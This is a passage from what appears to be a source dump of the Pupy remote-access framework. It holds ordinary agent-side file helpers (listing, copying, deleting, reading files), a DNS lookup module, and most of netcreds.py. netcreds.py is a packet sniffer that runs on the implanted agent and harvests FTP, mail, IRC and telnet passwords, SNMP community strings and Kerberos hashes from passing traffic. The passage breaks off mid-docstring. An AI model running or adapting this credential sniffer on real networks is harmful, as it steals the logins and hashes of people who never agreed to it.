'C'\n\n        result.append({\n            T_NAME: name,\n            T_TYPE: letter,\n            T_MODE: item.mode,\n            T_SPEC: special_to_letter(item.mode),\n            T_UID: item.uid,\n            T_GID: item.gid,\n            T_SIZE: item.size,\n            T_TIMESTAMP: item.mtime,\n            T_HAS_XATTR: False,\n        })\n\n    return result\n\n\ndef list_zip(path, max_files=None):\n    result = []\n\n    zts = datetime.datetime.fromtimestamp(0)\n\n    for idx, item in enumerate(ZipFile(path).infolist()):\n        if idx >= max_files:\n            result.append({\n                T_TRUNCATED: 0,\n                T_TYPE: 'X',\n            })\n\n            break\n\n        result.append({\n            T_NAME: item.filename,\n            T_TYPE: '', # TODO - support flags\n            T_SPEC: '', # TODO - support flags\n            T_MODE: 0o666,\n            T_UID: 0,\n            T_GID: 0,\n            T_SIZE: item.file_size,\n            T_TIMESTAMP: (\n                datetime.datetime(*item.date_time) - zts\n            ).total_seconds(),\n            T_HAS_XATTR: False,\n        })\n\n    return result\n\n\ndef list_dir(path, max_files=None, resolve_uidgid=False):\n    path = as_unicode_string(path)\n\n    result = []\n\n    filescnt = 0\n    truncated = None\n\n    items = scandir(path)\n\n    try:\n        for item in items:\n            try:\n                result.append(_stat_to_ls_struct(\n                    item.path, item.name,\n                    item.stat(follow_symlinks=False),\n                    resolve_uidgid=resolve_uidgid))\n            except OSError:\n                result.append(_invalid_ls_struct(item.path, item.name))\n\n            filescnt += 1\n            if max_files and filescnt >= max_files:\n                truncated = 0\n                break\n\n    except StopIteration:\n        pass\n\n    if truncated is not None:\n        try:\n            for item in items:\n                truncated += 1\n\n        except StopIteration:\n            pass\n\n        if truncated:\n            result.append({\n                T_TRUNCATED: truncated,\n                T_TYPE: 'X',\n            })\n\n    return result\n\n\ndef _complete(cwd, path, limit=32, dirs=None):\n    if path:\n        path = as_unicode_string(path)\n        path = os.path.expanduser(path)\n        path = os.path.expandvars(path)\n    else:\n        path = cwd + '/'\n\n    results = []\n    part = ''\n\n    path = path.replace('\\\\', '/').replace('//', '/')\n    if path.endswith('/') and os.path.isdir(path):\n        pass\n\n    elif os.path.exists(path):\n        return path, ['']\n\n    else:\n        part = os.path.basename(path)\n        path = os.path.dirname(path)\n        if not path:\n            path = cwd\n        elif not os.path.isdir(path):\n            return '', []\n\n    for item in scandir(path):\n        if item.name.startswith(part):\n            if dirs is None or \\\n                (dirs is True and item.is_dir()) or \\\n                (dirs is False and not item.is_dir()):\n                results.append(item.name)\n        if len(results) > limit:\n            break\n\n    return path, results\n\n\ndef complete(path, limit=32, dirs=None):\n    cwd = getcwd()\n    path, results = _complete(cwd, path, limit, dirs)\n\n    if path.endswith(('/', '\\\\')):\n        path = path[:-1]\n\n    if path and cwd not in ('/', '\\\\'):\n        try:\n            relpath = os.path.relpath(path, start=cwd)\n        except ValueError:\n            relpath = os.path.relpath(path, start='/')\n        if not relpath.startswith('..'):\n            path = relpath\n\n    if path.startswith(('./', '.\\\\')):\n        path = path[2:]\n    elif path == '.':\n        path = None\n\n    return path, results\n\n\ndef safe_is_zipfile(filepath):\n    try:\n        return is_zipfile(filepath)\n    except (OSError, IOError):\n        return False\n\n\ndef safe_is_tarfile(filepath):\n    try:\n        return is_tarfile(filepath)\n    except (OSError, IOError):\n        return False\n\n\ndef env(*args):\n    if args:\n        if len(args) == 1:\n            key = as_native_string(args[0])\n            return as_unicode_string(os.environ.get(key))\n\n        key, value = args\n\n        key = as_native_string(key)\n        if value is None:\n            del os.environ[key]\n            return\n\n        os.environ[key] = as_native_string(value)\n        return\n\n    values = []\n\n    for key, value in os.environ.items():\n        values.append((\n            as_unicode_string(key),\n            as_unicode_string(value)\n        ))\n\n    return tuple(values)\n\n\ndef ls(\n    path=None, listdir=True, limit=4096,\n        list_arc=False, resolve_uidgid=False):\n\n    if path:\n        path = as_unicode_string(path)\n        path = os.path.expanduser(path)\n        path = os.path.expandvars(path)\n    else:\n        path = getcwd()\n\n    results = []\n    found = False\n\n    for path in glob.iglob(path):\n        if not os.path.exists(path):\n            raise IOError('The path does not exist')\n\n        found = True\n\n        if os.path.isdir(path):\n            try:\n                if listdir:\n                    results.append({\n                        T_PATH: path,\n                        T_FILES: list_dir(\n                            path, max_files=limit,\n                            resolve_uidgid=resolve_uidgid)\n                    })\n                else:\n                    results.append({\n                        T_PATH: path,\n                        T_FILE: list_file(path, resolve_uidgid)\n                    })\n            except Exception as e:\n                fix_exception_encoding(e)\n                raise\n\n        elif os.path.isfile(path):\n            if safe_is_zipfile(path):\n                if list_arc:\n                    results.append({\n                        T_ZIPFILE: path,\n                        T_FILES: list_zip(path, max_files=limit)\n                    })\n                else:\n                    results.append({\n                        T_ZIPFILE: path,\n                        T_FILE: list_file(path)\n                    })\n            elif safe_is_tarfile(path):\n                if list_arc:\n                    results.append({\n                        T_TARFILE: path,\n                        T_FILES: list_tar(path, max_files=limit)\n                    })\n                else:\n                    results.append({\n                        T_TARFILE: path,\n                        T_FILE: list_file(path)\n                    })\n            else:\n                results.append({\n                    T_PATH: path,\n                    T_FILE: list_file(path, resolve_uidgid)\n                })\n        else:\n            results.append({\n                T_PATH: path,\n                T_FILE: list_file(path, resolve_uidgid)\n            })\n\n    if not found:\n        raise ValueError('The file/path does not exist')\n\n    return results\n\n# -------------------------- For cd function --------------------------\n\n\ndef cd(path=None):\n    global PREV_CWD\n\n    cwd = getcwd()\n\n    if path:\n        path = as_unicode_string(path)\n        path = os.path.expanduser(path)\n        path = os.path.expandvars(path)\n    else:\n        path = os.path.expanduser(\"~\")\n        path = as_unicode_string(path)\n\n    try:\n        os.chdir(path)\n        PREV_CWD = cwd\n    except OSError as exc:\n        if path == '-' and PREV_CWD is not None:\n            os.chdir(PREV_CWD)\n            PREV_CWD = cwd\n        else:\n            fix_exception_encoding(exc)\n            raise\n\n# -------------------------- For mkdir function --------------------------\n\n\ndef mkdir(directory):\n    directory = as_unicode_string(directory)\n\n    directory = os.path.expanduser(directory)\n    directory = os.path.expandvars(directory)\n\n    try:\n        os.makedirs(directory)\n    except OSError as exc:\n        fix_exception_encoding(exc)\n        raise\n\n# -------------------------- For cp function --------------------------\n\n\ndef cp(src, dst):\n    dst = as_unicode_string(dst)\n    dst = os.path.expanduser(dst)\n    dst = os.path.expandvars(dst)\n\n    found = False\n\n    src = as_unicode_string(src)\n    src = os.path.expanduser(src)\n    src = os.path.expandvars(src)\n\n    for src in glob.iglob(src):\n        if os.path.exists(src):\n            found = True\n\n            if os.path.isdir(dst):\n                real_dst = os.path.join(dst, os.path.basename(src))\n            else:\n                real_dst = dst\n\n            if os.path.exists(real_dst):\n                raise ValueError('{} already exists'.format(real_dst))\n\n            try:\n                if os.path.isdir(src):\n                    shutil.copytree(src, real_dst)\n                else:\n                    shutil.copyfile(src, real_dst)\n            except Exception as e:\n                fix_exception_encoding(e)\n                raise\n        else:\n            raise ValueError('The file {} does not exist'.format(src))\n\n    if not found:\n        raise ValueError('The file {} does not exist'.format(src))\n\n\n# -------------------------- For mv function --------------------------\n\n\ndef mv(src, dst):\n    dst = as_unicode_string(dst)\n    dst = os.path.expanduser(dst)\n    dst = os.path.expandvars(dst)\n\n    found = False\n\n    src = as_unicode_string(src)\n    src = os.path.expanduser(src)\n    src = os.path.expandvars(src)\n\n    for src in glob.iglob(src):\n        if os.path.exists(src):\n            found = True\n\n            if os.path.isdir(dst):\n                real_dst = os.path.join(dst, os.path.basename(src))\n            else:\n                real_dst = dst\n\n            if os.path.exists(real_dst):\n                raise ValueError('File/directory already exists')\n\n            try:\n                shutil.move(src, real_dst)\n            except Exception as e:\n                fix_exception_encoding(e)\n                raise\n\n    if not found:\n        raise ValueError('The file/directory does not exist')\n\n\n# -------------------------- For mv function --------------------------\n\n\ndef rm(path):\n    path = as_unicode_string(path)\n    path = os.path.expanduser(path)\n    path = os.path.expandvars(path)\n\n    files = 0\n    exception = None\n\n    for path in glob.iglob(path):\n        if os.path.exists(path):\n            files += 1\n            if os.path.isdir(path):\n                shutil.rmtree(path, ignore_errors=True)\n            else:\n                try:\n                    os.remove(path)\n                except OSError as e:\n                    exception = e\n        else:\n            raise ValueError(\"File/directory does not exists\")\n\n    if not files:\n        raise ValueError(\"File/directory does not exists\")\n\n    if files == 1 and exception:\n        fix_exception_encoding(exception)\n        raise\n\n# -------------------------- For cat function --------------------------\n\n\ndef _cat(data, dups, fin, N, n, grep, encoding=None, filter_out=False):\n    bom = fin.read(2)\n    need_newline = True\n\n    decoded = True\n\n    if bom == codecs.BOM_UTF16_LE:\n        fin = codecs.getreader('utf-16-le')(fin)\n    elif bom == codecs.BOM_UTF16_BE:\n        fin = codecs.getreader('utf-16-be')(fin)\n    elif bom == codecs.BOM_UTF32_LE:\n        fin = codecs.getreader('utf-32-le')(fin)\n    elif bom == codecs.BOM_UTF32_BE:\n        fin = codecs.getreader('utf-32-be')(fin)\n    elif bom == b'\\x1f\\x8b':\n        if N:\n            raise ValueError('Tail is not supported for GZip files')\n        fin.seek(0)\n        fin = GzipFile(mode='r', fileobj=fin)\n    elif encoding is not None:\n        fin = codecs.getreader(encoding)(fin)\n        fin.seek(0)\n        need_newline = False\n    else:\n        need_newline = False\n        decoded = False\n        fin.seek(0)\n\n    if need_newline:\n        fin.readline()\n\n    if decoded:\n        newline = '\\n'\n        record_dm = '\\t'\n        truncate = '[FILE TRUNCATED, USE DOWNLOAD]'\n\n        if grep:\n            grep = re.compile(as_unicode_string(grep))\n\n    else:\n        newline = b'\\n'\n        record_dm = b'\\t'\n        truncate = b''\n\n        if grep:\n            if isinstance(grep, bytes):\n                pass\n            else:\n                grep = grep.encode(DEFAULT_MB_ENCODING)\n\n            grep = re.compile(grep)\n\n    if N:\n        data.extend(\n            tail(fin, N, grep, filter_out, decoded)\n        )\n\n    elif grep or n:\n        for line in fin:\n            line = line.rstrip(newline)\n            matches = None\n            if grep:\n                matches = grep.search(line)\n            if not grep or (not filter_out and matches) or \\\n                    (filter_out and not matches):\n                if matches:\n                    groups = matches.groups()\n                    if groups:\n                        record = record_dm.join(groups)\n                        if record not in dups:\n                            data.append(record)\n                            dups.add(record)\n                    else:\n                        data.append(line)\n                else:\n                    data.append(line)\n\n            if n and len(data) >= n:\n                break\n    else:\n        block_size = 4*8192\n        block = fin.read(block_size)\n\n        if len(block) == block_size:\n            block += truncate\n\n        try:\n            block = try_as_unicode_string(block)\n        except UnicodeError:\n            pass\n\n        data.append(block)\n\n\ndef cat(path, N, n, grep, encoding=None, filter_out=False):\n    path = as_unicode_string(path)\n    path = os.path.expanduser(path)\n    path = os.path.expandvars(path)\n\n    found = False\n\n    data = []\n    dups = set()\n\n    for path in glob.iglob(path):\n        if not os.path.exists(path):\n            continue\n\n        found = True\n        if not os.path.isfile(path):\n            raise ValueError('Not a file')\n\n        with open(path, 'rb') as fin:\n            try:\n                _cat(data, dups, fin, N, n, grep, encoding, filter_out)\n            except Exception as e:\n                fix_exception_encoding(e)\n                raise\n\n    if not found:\n        raise ValueError('File does not exists')\n\n    return tuple(data)\n\n\ndef tail(f, n, grep, filter_out=False, decoded=True):\n    if n <= 0:\n        raise ValueError('Invalid amount of lines: {}'.format(n))\n\n    BUFSIZ = 4096\n\n    if decoded:\n        newline = '\\n'\n        record_dm = '\\t'\n        data = ''\n    else:\n        newline = b'\\n'\n        record_dm = b'\\t'\n        data = b''\n\n    f.seek(0, os.SEEK_END)\n\n    fsize = f.tell()\n    block = -1\n    exit = False\n\n    retval = []\n    dups = set()\n\n    while not exit:\n        step = (block * BUFSIZ)\n\n        if abs(step) >= fsize:\n            f.seek(0)\n            newdata = f.read(BUFSIZ - (abs(step) - fsize))\n            exit = True\n        else:\n            f.seek(step, os.SEEK_END)\n            newdata = f.read(BUFSIZ)\n\n        data = newdata + data\n\n        if (len(retval) + data.count(newline) >= n) or exit:\n            if grep:\n                lines = data.splitlines()\n                llines = len(lines)\n                to_process = llines if exit else lines - 1\n                for idx in xrange(to_process):\n                    line = lines[llines-idx-1]\n\n                    matches = grep.search(line)\n\n                    if (not filter_out and matches) or \\\n                       (filter_out and not matches):\n                        if matches:\n                            groups = matches.groups()\n                            if groups:\n                                record = record_dm.join(groups)\n                                if record not in dups:\n                                    retval.insert(0, record)\n                                    dups.add(record)\n                            else:\n                                retval.insert(0, line)\n                        else:\n                            retval.insert(0, line)\n\n                    if len(retval) >= n:\n                        break\n\n                if len(retval) >= n:\n                    break\n                else:\n                    data = lines[0]\n                    block -= 1\n            else:\n                break\n        else:\n            block -= 1\n\n    if len(retval) < n and not grep:\n        n -= len(retval)\n        retval.append(\n            data.splitlines()[-n:]\n        )\n\n    return retval\n\n# ------------------------------- For edit  -------------------------------\n\n\ndef fgetcontent(path, max_size=1*1024*1024):\n    path = as_unicode_string(path)\n    path = os.path.expanduser(path)\n    path = os.path.expandvars(path)\n\n    with open(path, 'rb') as f:\n        content = f.read(max_size)\n        if f.read(1):\n            raise ValueError('File is too big')\n\n        return content\n\n\ndef fputcontent(path, content, append=False):\n    path = as_unicode_string(path)\n    path = os.path.expanduser(path)\n    path = os.path.expandvars(path)\n\n    if not isinstance(content, bytes):\n        content = content.encode(DEFAULT_MB_ENCODING)\n\n    ftime = None\n\n    try:\n        s = os.stat(path)\n        ftime = (s.st_atime, s.st_mtime)\n    except OSError as e:\n        if e.errno == errno.EEXIST and not append:\n            pass\n\n    with open(path, 'ab' if append else 'wb') as f:\n        if content:\n            f.write(content)\n\n    if ftime:\n        os.utime(path, ftime)\n\n# ----------------------------- For datetime  -----------------------------\n\n\ndef now():\n    return as_unicode_string(str(datetime.datetime.now()))\n\n# -------------------------- For getuid function --------------------------\n\n\ndef getuid():\n    return as_unicode_string(getpass.getuser())\n\n# --------------------------------- For RFS -------------------------------\n\n\ndef dlstat(path):\n    path = as_unicode_string(path)\n\n    try:\n        pstat = os.stat(path)\n    except OSError as e:\n        fix_exception_encoding(e)\n        raise\n\n    return {\n        k: getattr(pstat, k) for k in dir(pstat) if not k.startswith('__')\n    }\n\n\ndef dstatvfs(path):\n    path = as_unicode_string(path)\n    try:\n        pstat = os.statvfs(path)\n    except OSError as e:\n        fix_exception_encoding(e)\n        raise\n\n    return {\n        k: getattr(pstat, k) for k in dir(pstat) if not k.startswith('__')\n    }\n"
  },
  {
    "path": "pupy/packages/all/pupyutils/dns.py",
    "content": "#!/user/bin/env python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport socket\n\ndef getIP(domain):\n    \"\"\"\n    This method returns the first IP address string\n    that responds as the given domain name\n    \"\"\"\n    try:\n        return socket.gethostbyname(domain)\n    except Exception:\n        return False\n\ndef getIPx(domain):\n    \"\"\"\n    This method returns an array containing\n    one or more IP address strings that respond\n    as the given domain name\n    \"\"\"\n    try:\n        return list(set(socket.gethostbyname_ex(domain)[2]))\n    except Exception:\n        return False\n#\ndef getHost(ip):\n    \"\"\"\n    This method returns the 'True Host' name for a\n    given IP address\n    \"\"\"\n    try:\n        return socket.gethostbyaddr(ip)[0]\n    except Exception:\n        return False\n#\ndef getAlias(domain):\n    \"\"\"\n    This method returns an array containing\n    a list of aliases for the given domain\n    \"\"\"\n    try:\n        data = socket.gethostbyname_ex(domain)\n        return list(data[1])\n    except Exception:\n        return False\n\ndef launch_dns_ip_resolver(ip_or_domain):\n    functions = {\n        'IP': {'function': getIP, 'result': ''},\n        'IPx': {'function': getIPx, 'result': ''},\n        'Host': {'function': getHost, 'result': ''},\n        'Alias': {'function': getAlias, 'result': ''}\n    }\n\n    return {\n        k:v['function'](ip_or_domain) for k,v in functions.items()\n    }\n\ndef launch_reverse_ip_resolver(ip):\n    return getHost(ip)\n"
  },
  {
    "path": "pupy/packages/all/pupyutils/netcreds.py",
    "content": "# -*- coding: utf-8 -*-\n# #!/usr/bin/env python2\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\nimport platform\nwindows = platform.system() == \"Windows\"\nlinux   = platform.system() == \"Linux\"\n\nfrom scapy.all import (\n    IPv6, Raw, IP, UDP, TCP, Ether,\n    SNMP, conf, sniff, pcapname\n)\n\nconf.verb = 0\n\nfrom sys import exit\nimport binascii\nimport struct\nimport base64\nfrom urllib import unquote\nfrom collections import OrderedDict\n\nimport copy\nimport re\n\nimport pupy.agent\n\n# Unintentional code contributors:\n#     Laurent Gaffie\n#     psychomario\n\npkt_frag_loads = OrderedDict()\nchallenge_acks = OrderedDict()\nmail_auths = OrderedDict()\ntelnet_stream = OrderedDict()\n\n# Regexs\nauthenticate_re = '(www-|proxy-)?authenticate'\nauthorization_re = '(www-|proxy-)?authorization'\nftp_user_re = r'USER (.+)\\r\\n'\nftp_pw_re = r'PASS (.+)\\r\\n'\nirc_user_re = r'NICK (.+?)((\\r)?\\n|\\s)'\nirc_pw_re = r'NS IDENTIFY (.+)'\nirc_pw_re2 = 'nickserv :identify (.+)'\nmail_auth_re = r'(\\d+ )?(auth|authenticate) (login|plain)'\nmail_auth_re1 = r'(\\d+ )?login '\nNTLMSSP2_re = 'NTLMSSP\\x00\\x02\\x00\\x00\\x00.+'\nNTLMSSP3_re = 'NTLMSSP\\x00\\x03\\x00\\x00\\x00.+'\n# Prone to false+ but prefer that to false-\nhttp_search_re = r'((search|query|&q|\\?q|search\\?p|searchterm|keywords|keyword|command|terms|keys|question|kwd|searchPhrase)=([^&][^&]*))'\n\n#Console colors\nW = '\\033[0m'  # white (normal)\nT = '\\033[93m'  # tan\n\n############## Stat / Stop / Dump functions ##############\n\ndef netcreds_start(interface=None, filterip=None, listWinInterfaces=False):\n    if pupy.agent.manager.active(Netcreds):\n        return False\n\n    try:\n        pupy.agent.manager.create(\n            Netcreds, interface=interface, filterip=filterip\n        )\n    except:\n        return False\n\n    return True\n\ndef netcreds_dump():\n    nc = pupy.agent.manager.get(Netcreds)\n    if nc:\n        return nc.results\n\ndef netcreds_stop():\n    nc = pupy.agent.manager.get(Netcreds)\n    if nc:\n        pupy.agent.manager.stop(Netcreds)\n        return nc.results\n\n############## Main class ##############\n\nclass Netcreds(pupy.Task):\n    def __init__(self, interface=None, filterip=None, *args, **kwargs):\n        super(Netcreds, self).__init__(*args, **kwargs)\n        self.interface = interface\n        self.filterip = filterip\n\n    def task(self):\n        # Find the active interface\n        if self.interface:\n            if windows:\n                conf.iface = pcapname(self.interface)\n            else:\n                conf.iface = self.interface\n\n        # else:\n            # # An interface has to be specify for windows hosts (list_interfaces_windows could be used to list it)\n            # exit('[-] Please specify an interface')\n\n        sniff(\n            iface=conf.iface,\n            prn=self.pkt_parser,\n            store=0,\n            filter='not host {}'.format(self.filterip) if self.filterip else None,\n            stop_filter=lambda p: not self.active\n        )\n\n    def list_interfaces_windows(self):\n        try:\n            import dnet\n        except:\n            print('[-] dnet needs to be installed in order to list interfaces')\n            return\n\n        interfaces = dnet.intf()\n        print('[*] Found interfaces :')\n        for interface in interfaces:\n            print(\"    %s : hw=%s ip=%s\" % (interface[\"name\"], interface.get(\"addr\", None), interface.get(\"link_addr\", None)))\n\n    def iface_finder(self):\n        try:\n            import netifaces\n            return netifaces.gateways()['default'].values()[0][1]\n        except:\n            exit('[-] Could not find an internet active interface; please specify one with -i <interface>')\n\n    def frag_remover(self, ack, load):\n        '''\n        Keep the FILO OrderedDict of frag loads from getting too large\n        3 points of limit:\n            Number of ip_ports < 50\n            Number of acks per ip:port < 25\n            Number of chars in load < 5000\n        '''\n        global pkt_frag_loads\n\n        # Keep the number of IP:port mappings below 50\n        # last=False pops the oldest item rather than the latest\n        while len(pkt_frag_loads) > 50:\n            pkt_frag_loads.popitem(last=False)\n\n        # Loop through a deep copy dict but modify the original dict\n        copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads)\n        for ip_port in copy_pkt_frag_loads:\n            if len(copy_pkt_frag_loads[ip_port]) > 0:\n                # Keep 25 ack:load's per ip:port\n                while len(copy_pkt_frag_loads[ip_port]) > 25:\n                    pkt_frag_loads[ip_port].popitem(last=False)\n\n        # Recopy the new dict to prevent KeyErrors for modifying dict in loop\n        copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads)\n        for ip_port in copy_pkt_frag_loads:\n            # Keep the load less than 75,000 chars\n            for ack in copy_pkt_frag_loads[ip_port]:\n                # If load > 5000 chars, just keep the last 200 chars\n                if len(copy_pkt_frag_loads[ip_port][ack]) > 5000:\n                    pkt_frag_loads[ip_port][ack] = pkt_frag_loads[ip_port][ack][-200:]\n\n    def frag_joiner(self, ack, src_ip_port, load):\n        '''\n        Keep a store of previous fragments in an OrderedDict named pkt_frag_loads\n        '''\n        for ip_port in pkt_frag_loads:\n            if src_ip_port == ip_port:\n                if ack in pkt_frag_loads[src_ip_port]:\n                    # Make pkt_frag_loads[src_ip_port][ack] = full load\n                    old_load = pkt_frag_loads[src_ip_port][ack]\n                    concat_load = old_load + load\n                    return OrderedDict([(ack, concat_load)])\n\n        return OrderedDict([(ack, load)])\n\n    def pkt_parser(self, pkt):\n        '''\n        Start parsing packets here\n        '''\n        global pkt_frag_loads, mail_auths\n\n        if pkt.haslayer(Raw):\n            load = pkt[Raw].load\n\n        # Get rid of Ethernet pkts with just a raw load cuz these are usually network controls like flow control\n        if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6):\n            return\n\n        # UDP\n        if pkt.haslayer(UDP) and pkt.haslayer(IP) and pkt.haslayer(Raw):\n\n            src_ip_port = str(pkt[IP].src) + ':' + str(pkt[UDP].sport)\n            dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[UDP].dport)\n\n            # SNMP community strings\n            if pkt.haslayer(SNMP):\n                self.parse_snmp(src_ip_port, dst_ip_port, pkt[SNMP])\n                return\n\n            # Kerberos over UDP\n            decoded = self.Decode_Ip_Packet(str(pkt)[14:])\n            kerb_hash = self.ParseMSKerbv5UDP(decoded['data'][8:])\n            if kerb_hash:\n                self.printer(src_ip_port, dst_ip_port, kerb_hash)\n\n        # TCP\n        elif pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):\n\n            ack = str(pkt[TCP].ack)\n            seq = str(pkt[TCP].seq)\n            src_ip_port = str(pkt[IP].src) + ':' + str(pkt[TCP].sport)\n            dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[TCP].dport)\n            self.frag_remover(ack, load)\n            pkt_frag_loads[src_ip_port] = self.frag_joiner(ack, src_ip_port, load)\n            full_load = pkt_frag_loads[src_ip_port][ack]\n\n            # Limit the packets we regex to increase efficiency\n            # 750 is a bit arbitrary but some SMTP auth success pkts\n            # are 500+ characters\n            if 0 < len(full_load) < 750:\n\n                # FTP\n                ftp_creds = self.parse_ftp(full_load, dst_ip_port)\n                if len(ftp_creds) > 0:\n                    for msg in ftp_creds:\n                        self.printer(src_ip_port, dst_ip_port, msg)\n                    return\n\n                # Mail\n                mail_creds = self.mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq)\n                if mail_creds is not None:\n                    self.printer(src_ip_port, dst_ip_port, mail_creds)\n\n                # IRC\n                irc_creds = self.irc_logins(full_load, pkt)\n                if irc_creds is not None:\n                    self.printer(src_ip_port, dst_ip_port, irc_creds)\n                    return\n\n                # Telnet\n                self.telnet_logins(src_ip_port, dst_ip_port, load, ack, seq)\n\n            # HTTP and other protocols that run on TCP + a raw load\n            self.other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt)\n\n    def telnet_logins(self, src_ip_port, dst_ip_port, load, ack, seq):\n        '''\n        Catch telnet logins and passwords\n        '''\n        global telnet_stream\n\n        msg = None\n\n        if src_ip_port in telnet_stream:\n            # Do a utf decode in case the client sends telnet options before their username\n            # No one would care to see that\n            try:\n                telnet_stream[src_ip_port] += load.decode('utf8')\n            except UnicodeDecodeError:\n                pass\n\n            # \\r or \\r\\n or \\n terminate commands in telnet if my pcaps are to be believed\n            if '\\r' in telnet_stream[src_ip_port] or '\\n' in telnet_stream[src_ip_port]:\n                telnet_split = telnet_stream[src_ip_port].split(' ', 1)\n                cred_type = telnet_split[0]\n                value = telnet_split[1].replace('\\r\\n', '').replace('\\r', '').replace('\\n', '')\n                # Create msg, the return variable\n                msg = 'Telnet %s: %s' % (cred_type, value)\n                self.printer(src_ip_port, dst_ip_port, msg)\n                del telnet_stream[src_ip_port]\n\n        # This part relies on the telnet packet ending in\n        # \"login:\", \"password:\", or \"username:\" and being <750 chars\n        # Haven't seen any false+ but this is pretty general\n        # might catch some eventually\n        # maybe use dissector.py telnet lib?\n        if len(telnet_stream) > 100:\n            telnet_stream.popitem(last=False)\n        mod_load = load.lower().strip()\n        if mod_load.endswith('username:') or mod_load.endswith('login:'):\n            telnet_stream[dst_ip_port] = 'username '\n        elif mod_load.endswith('password:'):\n            telnet_stream[dst_ip_port] = 'password '\n\n    def ParseMSKerbv5TCP(self, Data):\n        '''\n        Taken from Pcredz because I didn't want to spend the time doing this myself\n        I should probably figure this out on my own but hey, time isn't free, why reinvent the wheel?\n        Maybe replace this eventually with the kerberos python lib\n        Parses Kerberosv5 hashes from packets\n        '''\n        try:\n            MsgType = Data[21:22]\n            EncType = Data[43:44]\n            MessageType = Data[32:33]\n        except IndexError:\n            return\n\n        if MsgType == \"\\x0a\" and EncType == \"\\x17\" and MessageType ==\"\\x02\":\n            if Data[49:53] == \"\\xa2\\x36\\x04\\x34\" or Data[49:53] == \"\\xa2\\x35\\x04\\x33\":\n                HashLen = struct.unpack('<b',Data[50:51])[0]\n                if HashLen == 54:\n                    Hash = Data[53:105]\n                    SwitchHash = Hash[16:]+Hash[0:16]\n                    NameLen = struct.unpack('<b',Data[153:154])[0]\n                    Name = Data[154:154+NameLen]\n                    DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]\n                    Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]\n                    BuildHash = \"$krb5pa$23$\"+Name+\"$\"+Domain+\"$dummy$\"+SwitchHash.encode('hex')\n                    return 'MS Kerberos: %s' % BuildHash\n\n            if Data[44:48] == \"\\xa2\\x36\\x04\\x34\" or Data[44:48] == \"\\xa2\\x35\\x04\\x33\":\n                HashLen = struct.unpack('<b',Data[47:48])[0]\n                Hash = Data[48:48+HashLen]\n                SwitchHash = Hash[16:]+Hash[0:16]\n                NameLen = struct.unpack('<b',Data[HashLen+96:HashLen+96+1])[0]\n                Name = Data[HashLen+97:HashLen+97+NameLen]\n                DomainLen = struct.unpack('<b',Data[HashLen+97+NameLen+3:HashLen+97+NameLen+4])[0]\n                Domain = Data[HashLen+97+NameLen+4:HashLen+97+NameLen+4+DomainLen]\n                BuildHash = \"$krb5pa$23$\"+Name+\"$\"+Domain+\"$dummy$\"+SwitchHash.encode('hex')\n                return 'MS Kerberos: %s' % BuildHash\n\n            else:\n                Hash = Data[48:100]\n                SwitchHash = Hash[16:]+Hash[0:16]\n                NameLen = struct.unpack('<b',Data[148:149])[0]\n                Name = Data[149:149+NameLen]\n                DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]\n                Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]\n                BuildHash = \"$krb5pa$23$\"+Name+\"$\"+Domain+\"$dummy$\"+SwitchHash.encode('hex')\n                return 'MS Kerberos: %s' % BuildHash\n\n    def ParseMSKerbv5UDP(self, Data):\n        '''\n        Taken from Pcredz because I didn't want to spend the time doing this myself\n        I should probably figure this out on my own but hey, time isn't free why reinvent the wheel?\n        Maybe replace this eventually with the kerberos python lib\n        Parses Kerberosv5 hashes from packets\n        '''\n\n        try:\n            MsgType = Data[17:18]\n            EncType = Data[39:40]\n        except IndexError:\n            return\n\n        if MsgType == \"\\x0a\" and EncType == \"\\x17\":\n            try:\n                if Data[40:44] == \"\\xa2\\x36\\x04\\x34\" or Data[40:44] == \"\\xa2\\x35\\x04\\x33\":\n                    HashLen = struct.unpack('<b',Data[41:42])[0]\n                    if HashLen == 54:\n                        Hash = Data[44:96]\n                        SwitchHash = Hash[16:]+Hash[0:16]\n                        NameLen = struct.unpack('<b',Data[144:145])[0]\n                        Name = Data[145:145+NameLen]\n                        DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]\n                        Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]\n                        BuildHash = \"$krb5pa$23$\"+Name+\"$\"+Domain+\"$dummy$\"+SwitchHash.encode('hex')\n                        return 'MS Kerberos: %s' % BuildHash\n\n                    if HashLen == 53:\n                        Hash = Data[44:95]\n                        SwitchHash = Hash[16:]+Hash[0:16]\n                        NameLen = struct.unpack('<b',Data[143:144])[0]\n                        Name = Data[144:144+NameLen]\n                        DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]\n                        Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]\n                        BuildHash = \"$krb5pa$23$\"+Name+\"$\"+Domain+\"$dummy$\"+SwitchHash.encode('hex')\n                        return 'MS Kerberos: %s' % BuildHash\n\n                else:\n                    HashLen = struct.unpack('<b',Data[48:49])[0]\n                    Hash = Data[49:49+HashLen]\n                    SwitchHash = Hash[16:]+Hash[0:16]\n                    NameLen = struct.unpack('<b',Data[HashLen+97:HashLen+97+1])[0]\n                    Name = Data[HashLen+98:HashLen+98+NameLen]\n                    DomainLen = struct.unpack('<b',Data[HashLen+98+NameLen+3:HashLen+98+NameLen+4])[0]\n                    Domain = Data[HashLen+98+NameLen+4:HashLen+98+NameLen+4+DomainLen]\n                    BuildHash = \"$krb5pa$23$\"+Name+\"$\"+Domain+\"$dummy$\"+SwitchHash.encode('hex')\n                    return 'MS Kerberos: %s' % BuildHash\n            except struct.error:\n                return\n\n    def Decode_Ip_Packet(self, s):\n        '''\n        Taken from PCredz, solely to get Kerb parsing\n        working until I have time to analyze 